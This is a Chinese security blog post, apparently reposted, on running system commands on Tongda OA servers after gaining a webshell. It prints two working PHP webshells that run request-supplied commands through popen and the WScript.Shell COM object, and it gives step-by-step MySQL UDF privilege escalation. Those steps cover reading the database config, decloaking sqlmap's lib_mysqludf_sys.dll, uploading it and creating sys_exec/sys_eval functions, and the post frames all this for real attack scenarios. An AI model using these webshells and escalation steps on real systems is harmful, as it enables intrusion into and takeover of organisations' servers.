某知名OA命令执行方法探索(续)

admin 2023年3月8日09:53:10评论124 views字数 2467阅读8分13秒阅读模式

在上一篇文章之后,有小伙伴留言问通达OA获取权限后如何才能执行命令。本来是想留下一个小的悬念给大家,既然有人问起,咱们就把这个问题继续探讨一下。


传送门:

某知名OA高版本getshell思路(附部分脚本)


0x01 回顾过去


熟悉通达的小伙伴都知道通达是属于集成安装环境,和一般的CMS不同,通达安装好之后是自带配置好的WEB服务器nginx,一般来说不存在环境问题导致的差异。通达在配置中默认配置了disable_functions选项,禁止了常见的命令执行函数,甚至就连phpinfo也是禁用的。为了测试方便,在后续的分析中都手动去除了phpinfo不能执行的限制。


在老版本的通达(大约11.4)中,对disable_functions配置的有明显的缺陷,早期版本的通达配置如图1.1所示。

某知名OA命令执行方法探索(续)

图1.1 早期通达OA的disable_functions配置


从图1.1中可以看出在禁用的函数中缺陷了popen函数,所以可以通过popen函数来执行系统命令,相关代码如下所示。


基于popen的命令执行

<?php@putenv("PATH=".getenv("PATH").";C:/Windows/system32;");$fp=@popen($_REQUEST['cmd'],'r');while(!@feof($fp)) {  print(@fgets($fp,2048));}@pclose($fp);


另外网上也早有文章提到可以通过Windows的Com组件来执行命令,相关代码如下所示。


基于WScript的命令执行

<?php$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  $exec=$phpwsh->exec("cmd.exe /c ".$_REQUEST['cmd']."");  $stdout = $exec->StdOut();  $stroutput = $stdout->ReadAll();  echo $stroutput;exit();?>


通过这两种方式都可以达到命令执行的效果,如图1.2所示。

某知名OA命令执行方法探索(续)

图1.2 早期版本通达命令执行的方式


但是这两种方式在新版本的通达中均无法使用,首先来看新版本通达的disable_functions配置,如图1.3所示。

某知名OA命令执行方法探索(续)

图1.3 新版本通达OA的disable_functions配置


可以看出在新版本中明显修复了早期版本中漏掉的popen函数,虽然并没有在disableClassed中禁用Com组件相关的类,但是实际上通达OA已经默默关闭了Com组件,如图1.4所示。

某知名OA命令执行方法探索(续)

图1.4 对比新旧版版通达OA对Com组件支持的差异


所以上面的两种命令执行的方式对于新通达来说都已经不适用了,如果我们在哥斯拉中连接通达OA的webshell,在执行命令中会看到如图1.5所示的报错。

某知名OA命令执行方法探索(续)

图1.5 通达OA命令执行报错


0x02 面对现实


仔细查看图1.3的disable_functions中,我们可以想到下面的绕过方式。


1) 利用LD_PRELOAD记载恶意so文件达到执行命令的效果行不行?答案是不行,一般来说通达OA都是windows的环境,不适用这种方式。

2) pcntl_exec函数没有在disable_functions的列表中,能不能利用这个函数来执行命令?答案也是不行,通达默认安装的环境没有pcntl扩展。

3) 利用ImageMagick来执行命令行不行?答案还是不行,默认安装的环境没有ImageMagick扩展。


目前想直接绕过disable_functions来执行命令已经是一件很难的事情了,换一种思路,我们目前有一个文件管理的webshell,并且通达OA默认安装都是system权限。怎么通过文件操作来执行命令呢?一种最简单的方式是直接把马上传到自启动目录,等待服务器重启,然后执行命令,这种是不是可行呢?可行,但是效果不好,一般不会这么用。因为一方面要等待服务器重启,这个条件不满足实际攻击场景,另一方面修改自启动目录容易被杀软拦截。


一种更好的办法是通过mysql udf来执行命令,整个利用过程如下所示。


1) 找到通达OA的数据库配置文件webroot/inc/oa_config.php。通达OA的源码文件默认是加密的,但是配置文件是不加密的,所以可以直接打开查看,如图2.1所示。

某知名OA命令执行方法探索(续)

图2.1 数据库配置文件


2) 生成udf.dll文件,网上虽然可以直接下载到很多udf.dll,但是不确定是不是有后门。而且其他随意下载的udf.dll文件经常导致数据库崩溃(多次血与泪的教训,dll不对会导致网站崩溃)。我强烈建议大家使用sqlmap自带的udf.dll文件,但是默认情况下sqlmap的udf是混淆过的,需要使用其自带的cloak工具转换回来才能使用。

python extra/cloak/cloak.py -d -i data/udf/mysql/windows/64/lib_mysqludf_sys.dll_


使用上面的命令,会在lib_mysqludf_sys.dll_文件所在目录生成一个lib_mysqludf_sys.dll的文件,这个才是能被直接使用的udf提权dll文件。


3) 把刚才生成的文件lib_mysqludf_sys.dll上传到目标的mysql5/lib/plugin目录,默认情况下不存在这个目录,需要创建目录。


4) 连接数据库,执行下面的语句

create function sys_exec RETURNS int soname 'lib_mysqludf_sys.dll'//执行命令返回状态码create function sys_eval returns string soname 'lib_mysqludf_sys.dll '; //执行命令返回命令执行结果
select sys_eval("whoami");


某知名OA命令执行方法探索(续)

 如此方能在新版本中成功执行命令。

原文始发于微信公众号(Beacon Tower Lab):某知名OA命令执行方法探索(续)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月8日09:53:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某知名OA命令执行方法探索(续)http://cn-sec.com/archives/1242491.html

发表评论

匿名网友 填写信息